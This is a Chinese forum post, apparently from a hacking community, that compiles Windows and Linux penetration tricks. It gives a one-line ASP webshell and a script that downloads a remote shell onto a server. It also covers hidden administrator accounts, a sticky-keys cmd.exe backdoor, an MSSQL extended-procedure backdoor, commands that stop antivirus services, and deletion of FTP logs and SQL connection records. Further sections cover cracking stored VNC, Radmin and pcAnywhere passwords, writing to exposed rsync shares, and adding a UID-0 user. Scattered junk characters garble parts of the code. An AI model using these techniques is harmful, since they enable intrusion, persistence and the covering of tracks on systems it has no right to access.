渗透技巧总结

admin

旁站路径问题
0 T$ y) p1 g: j# k/ w1、读网站配置。
2、用以下VBS
On Error Resume Next
2 S& u0 y9 j( Z, ^# ^If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
* `: K; M3 s6 P. ?
# x" g3 V! p+ G7 D" m+ K/ v6 i: YMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
0 }+ W0 Z) e4 y+ W. b- j
7 O# G* `5 l! I" I! U8 c  S2 }Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
8 d; G+ q1 j3 l8 k- u# G
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
; \1 y( }! ?  G' F         
$ L+ n# g6 I6 ^7 ^. f% d
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
1 L5 B: S! ^, c! v# B( t7 w, N                If Err

* o4 m& D8 d+ m1 W<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
; D" I9 A3 f0 _9 n1 b
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
1 _8 d0 T+ N7 [* N7 I4 Y8 s! n8 f     
# e- H9 M% b6 n; L# o, J
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
" m; E: ~, Q! m, d: C
' v. n. `/ K( z5 k$ @7 [WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
, g/ r9 J- }$ Y% T8 ~      

         WScript.Echo "ath            : " & VDirObj.Path
7 M8 a6 A- [+ C3 V/ g1 {        End If
4 W- {0 y9 z1 ]! |Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
! }- T2 d+ I, {url/wp-content/plugins/akismet/akismet.php
! x) l! k, r9 Z9 B8 Rurl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
% b7 P9 O9 q% @7 N1 _5 A+ }9 LphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
  m; q9 h5 G. j3 rphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
1 F; V! S% ~5 T3 M! fnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
# w4 |8 U, a6 f/ g" }4 L————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
2 x, M( |" Y: b( \2 {EXEC sp_addsrvrolemember 'test, 'sysadmin'
/ z5 G# ~! x7 S然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

. b2 U) m1 M) y- F7 j, C另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ d" Z5 B- K+ j1 W# Ajs:
0 j1 |3 k# ~& K5 Y( yvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
7 }5 Z0 a3 w4 d0 S2 [- }: Fz.changePassword("123456","")
( t- m& Z; B- f3 g# _" q5 hz.setting("AccountType")=3;
8 W( t, @2 q8 w3 m; b
4 ?( G, E; L7 S6 _vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
# H2 _- h% k* T$ I( M/ N. hz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
; P  G7 Y0 q" s* g* N8 I9 |* C
3 M' P, Y  h& w; G4 e/ V% W命令如下
& \, U* D0 e0 H8 S# K% _' jcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
  u7 b; B0 n  z* h' Z& j0 r————————以下配合PR更好————
* q- p9 x0 s" Y3 L9 n6 O3389相关
: B: y2 L2 e: ?* E, c. Wa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
) H% i# u/ m: d( c7 _2003 运行mstsc /console   
3 t/ e0 d# Y- A4 b/ p9 }
6 y- [) _! f+ n- `% q! B! Y; @0 j杀软关闭（把杀软所在的文件的所有权限去掉）
& r% x6 w! y: {2 P/ [3 D' L处理变态诺顿企业版：
1 B- B9 \$ G0 e: M  b7 o  s+ ^8 Qnet stop "Symantec AntiVirus" /y
6 ^' E) Q1 h/ ~% b+ r+ @8 Inet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
( Q/ }" X/ x$ h! e: h- f, ~& @
卖咖啡：net stop "McAfee McShield"
————————————————————
$ J, w3 |" b! t! q) u
5次SHIFT：
- U9 J, S2 z% r% n/ U: a$ o8 L9 ocopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
  K, Q! _/ ~' A7 g* ?* N——————————————————————
MSSQL扩展后门：
USE master;
0 \8 S) r/ t7 Z; ~. z9 [+ {EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
# E1 P# ]9 A& |4 K1 d6 HGRANT exec On xp_helpsystem TO public;
3 |: y: d' v1 s4 Z4 p, t———————————————————————
" {( o+ V5 k9 I1 w日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
7 u8 g% `9 Z7 F7 S6 U5 J" j当停止msftpsvc服务后可直接删除ex011124.log
" V4 h+ x; j6 B- G* R
3 m  c  ]; V7 @# JMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
. ^1 G0 n: H. u0 X/ V找到接接过的信息删除。
0 r. l. _0 G* }4 V6 LMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
) v. p0 p9 Z+ @( f( ~
Server\90\Tools\Shell\mru.dat
  `3 g/ H- P- j% }- ~5 T. B—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
( P$ N& v' ]: C3 D7 K1 n
<%
0 ?! d6 u9 P! }/ f5 k! S) RSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
" A! [) D5 y6 K3 D% qSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
/ T" ]; d- k9 D9 c2 {.Send
GetRemoteData = .ResponseBody
End With
7 Q  r' F) L: F, D8 |( g& {$ CSet Retrieval = Nothing
( c- P/ R& m% ZSet Ads = Server.CreateObject("Adodb.Stream")
# |. y3 A% E' a* Y0 ~) A; E# S; MWith Ads
( v* n* C5 I4 U# W9 }9 \.Type = 1
.Open
.Write GetRemoteData
4 m8 D* t( U) t/ J6 c.SaveToFile Server.MapPath(s_LocalFileName), 2
& U+ a# ~" a3 M# _/ `.Cancel()
) {+ {1 \- k8 _1 \1 R7 M.Close()
End With
Set Ads=nothing
! V" ?" x/ E% n% n: IEnd Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

; g' o8 m7 n( a" s4 \" kVNC提权方法:
! K  J# o5 ~4 L7 O0 E% Z, w利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
) X2 I( D( x. S2 `  Wregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
5 {% P, l, F5 `1 B# n% BRadmin 默认端口是4899，
* ?6 i0 I3 d: v  _$ OHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
* j1 y' J+ t4 e+ I. w) Y然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
% |8 m7 x9 {) U  g8 T% ^/ f没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
6 {# H  R) o! C1 a
8 ]2 B  `% @6 |5 J: S# x, i# b1433 SA点构建注入点。
<%
: G# K) I# l% dstrSQLServerName = "服务器ip"
; q9 v2 I1 }7 ~5 l) D% KstrSQLDBUserName = "数据库帐号"
" Q/ y1 ], C$ }5 N0 IstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
# a) i9 k& Y& Q7 c) B* O0 s) R8 Z
; D3 A$ t6 b  ~+ @";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
0 [5 `+ m4 s- ^, Aconn.open strCon
0 N* I/ Q6 E6 k: A; _dim rs,strSQL,id
, V; i' g" r6 M( p0 b2 Cset rs=server.createobject("ADODB.recordset")
  a( g% |5 X# v0 Q5 Y: Z; Vid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
******liunx 相关******
  E# a3 Z" @6 X- U& ?6 S: r* d) Y+ y1 o一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
9 C' O+ U' o9 R# R& [
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
. a+ V: b1 x/ G6 z5 \找到ou,dc,dc设置
# W+ A4 M: S- V( P
; L+ M4 J7 \0 P9 v+ w3.查找管理员信息
+ O+ e) i# H5 h" r, N3 [  @匿名方式
0 ]2 A0 Q5 Q) d; h1 r4 Vldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
  r, [- y/ [3 Q+ n: L6 N+ ?" }
( R* D- q1 C1 @"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 W5 {$ L' P& m0 z! {有密码形式
- \) P1 D: ?" _5 bldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

, |3 \( V  v" N' J% C"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

- }* E- r& ]* |' u! d" R) L
0 B% \/ W" ^" ~! [3 E4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

, D4 |. g6 L: ?# P$ e* l& \( H实战:
1.cat /etc/nsswitch
/ n3 @! R5 ~" O  v5 @看看密码登录策略我们可以看到使用了file ldap模式

: m, J7 s: F4 D4 r; a, K2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
( b" Y) q* T& Z1 g
. w) p7 h$ R) e8 o% V2 l3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

- }  K5 x  u- s7 Q8 ["cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
+ t$ b5 M2 P, m7 N+ X7 ildapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

' T" Z2 t- N  [: @"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 G, l8 Z) F# k5 ~1 x& Z: y

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! t! \; `/ L" a, b# b
渗透实战:
& D0 _$ U+ f( i3 \7 O2 {5 s1.返回所有的属性
" ~1 w, X7 Q) g: j! J- @  sldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
: r8 p" b: Y" E: TobjectClass: domain

: l, L4 `5 }8 `  idn: uid=manager,dc=ruc,dc=edu,dc=cn
! r9 j# A! h3 `, H  [uid: manager
1 u8 G# }2 I) f/ `: Z) zobjectClass: inetOrgPerson
objectClass: organizationalPerson
: H( z- y7 W# e' xobjectClass: person
5 ~2 ~' L. M, ^0 Q  ^objectClass: top
sn: manager
cn: manager

7 E  V+ Q! g" v- V  F+ p! E* _% adn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
) s" R5 H' \. S0 [  FobjectClass: inetOrgPerson
" Q. e9 d! d& a5 v. O, F6 @objectClass: organizationalPerson
objectClass: person
7 f/ X" ?7 [' `/ J6 JobjectClass: top
sn: superadmin
, W0 _% R$ W, s4 t' E3 V/ s* b2 Ecn: superadmin
) H+ @' R; E3 j+ t) [8 ?
dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
3 T' ]9 Q% j0 A1 E( }* [6 j8 qobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
0 S/ z: T! C4 q. J: g7 m& }objectClass: top
; l( M4 E% U8 i  r  ]sn: admin
( R8 L6 I- N& [8 Rcn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
. p. F; X: H, G2 q1 ^objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
% S# I. Y8 X; o! V% f+ l5 Vsn: dcp_anonymous
3 S; F% a+ e. [/ \. U# I2 wcn: dcp_anonymous
% P1 a, s9 @# x* v
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

# t' D, f' E# E1 o; X+ dmore
version: 1
8 ~. ?" x( Z: i  Z; sdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
- |* u8 M- K% ~9 D; Obash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
7 R) X2 z( S/ {% B  j' g, a6 Nversion: 1
/ f0 x* ]- w" b% k) k- Adn:
7 `' `+ t, \$ r, Q( e7 L. uobjectClass: top
2 g- R: s8 p& _# c' q. {namingContexts: dc=ruc,dc=edu,dc=cn
" L3 C' ^/ C  ~3 t/ TsupportedExtension: 2.16.840.1.113730.3.5.7
+ \! q% ^8 n- dsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
: _; ~2 o, u" W) d( h' E0 U: |supportedExtension: 2.16.840.1.113730.3.5.6
4 k5 X* ~5 B0 v: KsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
: J5 k5 o) k  r9 Y) D6 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
! B: \  T$ b6 p" }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
7 |; H/ e9 a% T  rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
0 h# N, p$ H. B3 }8 F" E9 Z  j( }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
# R: C+ E5 U( k/ ]! z2 H; `. C9 isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
% w' q! A4 H1 L6 h' G: rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
4 Y4 }0 F* Y- s5 N5 |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
0 }2 z& S3 J$ k9 R8 asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
, Z% N5 j) S2 `% L  tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
, W2 H& k+ H. [' E6 \supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
1 }6 z( i: K# |( psupportedControl: 2.16.840.1.113730.3.4.3
! W6 I' d* C3 B. Z# p. y# SsupportedControl: 2.16.840.1.113730.3.4.4
/ w) O$ ]  r& ]8 MsupportedControl: 2.16.840.1.113730.3.4.5
( G, f* b/ z2 E6 R# F" ^, D+ gsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
0 u( n0 c# a5 ?4 KsupportedControl: 2.16.840.1.113730.3.4.16
- F: v1 ?0 U7 m5 q( c$ j& }$ p. y, qsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
$ k2 _. l% w* t1 t) VsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
- L: s/ T! e" h  C2 AsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
8 ?6 S' {$ `0 C: QsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
. u2 r& n0 o( h2 lsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
7 D& z3 X; c8 f4 @supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
/ N1 X/ P. m: c( v- Z) jsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
% K5 M2 G$ u5 A' I7 g, g( xvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
- t. u* a4 p# z1 p. inetscapemdsuffix: cn=ldap://dc=webA:389
3 B. w& \" A; |6 R( B1 }( d2 H' ^supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
* u9 r" u0 e& w9 G- F. O3 H5 KsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
' ^2 D+ {0 U, ^. `- z# g3 U0 vsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
* [; P8 s) {$ B# I: I( \& FsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
, V  b6 o! Y( C/ c3 X  j4 b/ \supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
7 L8 Z7 J- q+ B; D9 jsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
2 ?  k# B: K( L2 a& psupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
& U: o* D% ~! O# z6 HsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
! G5 N3 Y" O3 H: y' ?supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
* \* G6 d1 o. K6 b3 nsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
' D1 m& Z# a, N. s! ZsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
2 L/ [, n, _( Z  CsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
+ m2 B6 j( b" i, D8 F4 a6 ?supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
3 y4 @7 Y* z$ fsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
1 T( `; D" d0 G3 U7 u6 OsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
: u+ D. U5 |  Q, ~* d, m, CsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
8 \4 z- h+ @# ^# H% g2 w' F. jsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
4 ]% r  b- G/ _supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
1 O3 ~; i/ \, }* x+ m1 ?supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
8 i( Q& V; S5 _. CsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
列举IP
——————
3.rsync渗透技巧
' [, c2 D+ M8 W3 a+ c, T1.查看rsync服务器上的列表
$ C& J! q; P6 A1 m; h0 @rsync 210.51.X.X::
8 i- H1 r, P& b& J; ]finance
5 x. ~; L( H! `img_finance
7 C+ r/ s, U+ n' Mauto
img_auto
html_cms
' u: s5 K; K# S/ w# ^  P2 Qimg_cms
ent_cms
ent_img
ceshi
! ^, S2 W  K) W3 J2 X. `res_img
/ k7 R3 T, Q/ O; F& Jres_img_c2
+ t6 Q+ I* _, \: r8 Nchip
chip_c2
ent_icms
games
gamesimg
7 r/ d& [$ X3 w7 d) R5 e9 K+ jmedia
mediaimg
fashion
( u8 i# J  z7 _! N0 Jres-fashion
+ U3 A3 o3 l! X8 m, R- wres-fo
taobao-home
* M! X9 p" z9 l; A' ]res-taobao-home
* M8 S5 z2 l& zhouse
res-house
res-home
res-edu
res-ent
( O- ~% c. g/ _& S1 v) Kres-labs
res-news
. j/ G; B7 j. v7 }$ Nres-phtv
7 W' K& g% Q0 ~) `/ X7 Pres-media
home
edu
  Y+ U) C  m/ A( jnews
0 a. @& W7 }1 D; `- gres-book
: t2 A4 \( A. X
1 z5 T) P, Z' k3 l看相应的下级目录(注意一定要在目录后面添加上/)

1 ~% K. Q9 M; j) x% v& Z+ ?/ {
rsync 210.51.X.X::htdocs_app/
9 }; O2 w* V& W  }rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
& R  z. v; D2 J% N, f) h9 lrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

6 @3 ?; ~8 {7 {# o3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
$ \$ a+ R' A2 G4 o5 N7 X$ Khttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
4 K: J$ i$ v( _( [1 U2 KGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
& Z9 h# L  c# ~* ~
9 t9 [: E3 t+ Z& q' R9 n1 S. [六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
4 }, f" V1 V+ R  Y, J
重新设置密码
/ F& `' ^+ M# d2 Hindex.php?option=com_user&view=reset&layout=confirm
; G, X: z9 N6 I9 v, l- z- K. l
/ t- k' o4 _: n; f6 I七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

" N  a; r0 B  Q6 @1 Q八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
9 K" [, Y6 W( b" Y4 Q4 x( R$ x* [argp@julius ~]$ id
7 b; M7 N7 ]  N* y4 x* uid=1001(argp) gid=1001(argp) groups=1001(argp)
' P, ?7 p% B( `2 a* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
/ M+ N% u3 \; S% S4 b2 u! |*
calling nmount()
% S: S/ i& [$ Y" v5 \, D
1 u6 }. M# q/ @* ^# V0 O（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
" E4 l8 q& F. f4 Y1 h: ^' d——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
6 n( E# ?1 W; a  l$ _7 ^————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
; d- [) _3 m8 g/ w9 e0 h' yalzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
) W1 ~( G, i8 ^& Z{
4 U/ @0 V- g# C' U+ v注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
' @/ S& d0 O' W" ]7 e那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
, e- c( h' @9 A2 D! i5 l}  
2 Y9 T; L7 j  x9 a. J
